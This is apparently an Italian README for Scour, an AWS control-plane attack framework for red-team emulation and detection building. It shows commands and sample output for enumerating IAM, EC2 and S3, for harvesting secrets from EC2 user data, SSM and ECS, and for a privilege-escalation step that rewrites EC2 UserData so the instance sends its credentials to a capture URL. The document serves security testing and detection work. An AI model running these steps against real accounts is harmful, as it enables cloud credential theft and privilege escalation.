grines/scourFramework di sfruttamento AWS basato su moduli per test del red team e analisi del blue team. Emula schemi di attacco nel piano di controllo AWS con tracciamento UA unico per lo sviluppo di rilevamenti.
Questo strumento viene utilizzato per emulare modelli di attacco all'interno del Controlplane AWS. Ogni attacco è etichettato con uno specifico UA per consentire al blue team di identificarlo.
Questo è ancora un lavoro in corso. **Molti bug
Non pronto per la produzione
Dove segnalare problemi: https://github.com/grines/scour/issues
Mantenuto da: grines
Scour è un moderno framework di sfruttamento AWS basato su moduli scritto in golang, progettato per test del red team e analisi del blue team. Scour contiene tecniche moderne che possono essere utilizzate per attaccare ambienti o creare rilevamenti per la difesa.
Scour è scritto in golang, quindi è facile da distribuire come binario.
##Gettable
go get github.com/grines/scour
##Build
go build main.go
Per un set di istruzioni utente più dettagliato e user-friendly, consulta la guida all'installazione del Wiki. **in arrivo presto
Scour utilizza una serie di moduli:
La prima volta che Scour viene avviato,
token profile <profile_name> <region> elenca i profili AWS disponibili salvati in ~/aws/credentials.token AssumeRole <role_name> <region> assume un ruolo dallo stesso account o da un account cross. ** richiede una sessione attivahelp module restituisce le informazioni di aiuto applicabili per il modulo specificato. **help da definireattack evasion <tactic> esegue il modulo specificato con i suoi parametri predefiniti.scour entra in modalità cliNot Connected <> token profile apiuser us-east-1 imposta la sessione da utilizzare per i comandi che ne richiedono unaConnected <apiuser/us-east-1> connesso attivamente a un profilo AWS da (~, /aws/credentials) in (region)Connected <apiuser/us-east-1> attack enum <attack> completamento tramite tab con l'elenco delle tattiche di enumerazione disponibiliConnected <apiuser/us-east-1> attack privesc <attack> completamento tramite tab con l'elenco delle tattiche di escalation dei privilegi disponibiliConnected <apiuser/us-east-1> attack lateral <attack> completamento tramite tab con l'elenco delle tattiche di movimento laterale disponibiliConnected <apiuser/us-east-1> attack evasion <attack> completamento tramite tab con l'elenco delle tattiche di evasione disponibiliConnected <apiuser/us-east-1> attack creds <attack> completamento tramite tab con l'elenco delle tattiche di scoperta delle credenziali disponibiliConnected <apiuser/us-east-1> attack execute <attack> completamento tramite tab con l'elenco delle tattiche di esecuzione disponibili
Connected <apiuser/us-east-1> attack enum IAM Scoperta IAM+-------------+---------------------+------------------+---------------+--------------+
| USER | MANAGED POLICIES | INLINE POLICIES | GROUPS | ISPRIVILEGED |
+-------------+---------------------+------------------+---------------+--------------+
| admin | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true |
| EC2 | AmazonEC2FullAccess | | | true |
+-------------+---------------------+------------------+---------------+--------------+
Connected <apiuser/us-east-1> attack enum Roles Scoperta ruoliUA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| ROLE | PRINCIPAL TYPE | IDENTITY/SERVICE | ISPRIVILEGED |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| Amazon_CodeBuild_dW6zqYHT3m | AWS | [arn:aws:iam::861******:root | true |
| | | codebuild.amazonaws.com] | |
| Amazon_CodeBuild_f2DOFPjMHK | Service | [codebuild.amazonaws.com] | true |
| Amazon_CodeBuild_HS59ko7lxn | Service | [codebuild.amazonaws.com] | true |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
Connected <apiuser/us-east-1> attack enum EC2 Scoperta EC2UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| INSTANCEID | INSTANCE PROFILE | VPC | PUBLICIP | PRIVATEIP | SECURITY GROUPS | PORTS | STATE | ISPRIVILEGED | ISPUBLIC |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| i-0f5604708c0b51429 | None | vpc-7e830c1a | None | 172.31.53.199 | sg-09fcd28717cf4f512 | 80* | stopped | false | true |
| | | | | | | 22* | | | |
| | | | | | | 5000* | | | |
| i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.45.96 | sg-61b1fd07 | All* | stopped | true | true |
| | | | | | | 8888* | | | |
| i-01b265a5fdc45df57 | None | vpc-7e830c1a | None | 172.31.38.118 | sg-0392f752f9b849d3f | 3389* | stopped | false | true |
| i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.39.199 | sg-006543a34d2f70028 | 22* | stopped | true | true |
| i-0d95790b5e7ddff23 | None | vpc-7e830c1a | None | 172.31.12.57 | sg-e1a50dac | 33391* | stopped | false | true |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
Connected <apiuser/us-east-1> attack enum S3 Scoperta S3UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| BUCKET | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION | REGION |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| amazon-conn********3d79b01a | false | false | false | | false | | false | us-west-2 |
| aws-cloudtrail-logs-**********98-cb39df0d | true | false | false | | false | | false | |
| bullsecu********* | true | true | false | | false | | false | |
| connect-6ec*****ad67 | false | false | false | | false | | false | |
| connect-******5337c3 | false | false | false | | false | | false | |
| ransom******** | true | false | false | | false | | false | |
| red******** | false | false | false | | false | | false | |
| rep-***** | false | false | false | | false | | false | us-west-2 |
| terraform******* | false | false | false | | false | | false | |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
Connected <apiuser/us-east-1> attack enum Groups Scoperta gruppiUA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| GROUP | POLICIES | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| EC2 | SecurityAudit | false | | false |
| OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 | | false | | false |
| TestGroup | AmazonEC2FullAccess | true | | false |
| | SecurityAudit | | | |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
Connected <apiuser/us-east-1> attack enum Network Scoperta reteTBD
Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data ruba le credenziali di metadati da EC2. Ferma l'istanza / Aggiorna i dati utente per pubblicare le credenziali all'URL fornito / Avvia l'istanza (invia il token EC2 all'URL.)[Sun May 9 06:10:16 2021] INF Stopping Instance i-0f5604708c0b51429 - State: stopped
[Sun May 9 06:10:46 2021] INF Modifying Instance Attribute UserData on i-0f5604708c0b51429
[Sun May 9 06:10:47 2021] INF Starting Instance i-0f5604708c0b51429 - State: pending
Connected <apiuser/us-east-1> attack creds UserData recupera le credenziali dai dati utente EC2UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds
+---------------------+------------------+-------------------------------------------------------------------------------+
| INSTANCEID | RULE | FINDING |
+---------------------+------------------+-------------------------------------------------------------------------------+
| i-0f5604708c0b51429 | Slack Webhook | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX |
| i-0f5604708c0b51429 | Generic Password | password=thisisapassword |
+---------------------+------------------+-------------------------------------------------------------------------------+
Connected <apiuser/us-east-1> attack creds SSM recupera le credenziali da Systems ManagerUA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds
+------------+----------+----------------------+
| PARAM NAME | DATATYPE | VALUE |
+------------+----------+----------------------+
| Test | text | thismightbeapassword |
+------------+----------+----------------------+
Connected <apiuser/us-east-1> attack creds ECS recupera le credenziali da ECSUA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds
+-------------+-------+------------+
| ENVARS NAME | VALUE | DEFINITION |
+-------------+-------+------------+
| Secret | heere | sample-app |
+-------------+-------+------------+
Connected <apiuser/us-east-1> attack persist <attack> completamento tramite tab con l'elenco delle tattiche di persistenza disponibiliConnected <apiuser/us-east-1> attack exfil <attack> completamento tramite tab con l'elenco delle tattiche di esfiltrazione disponibili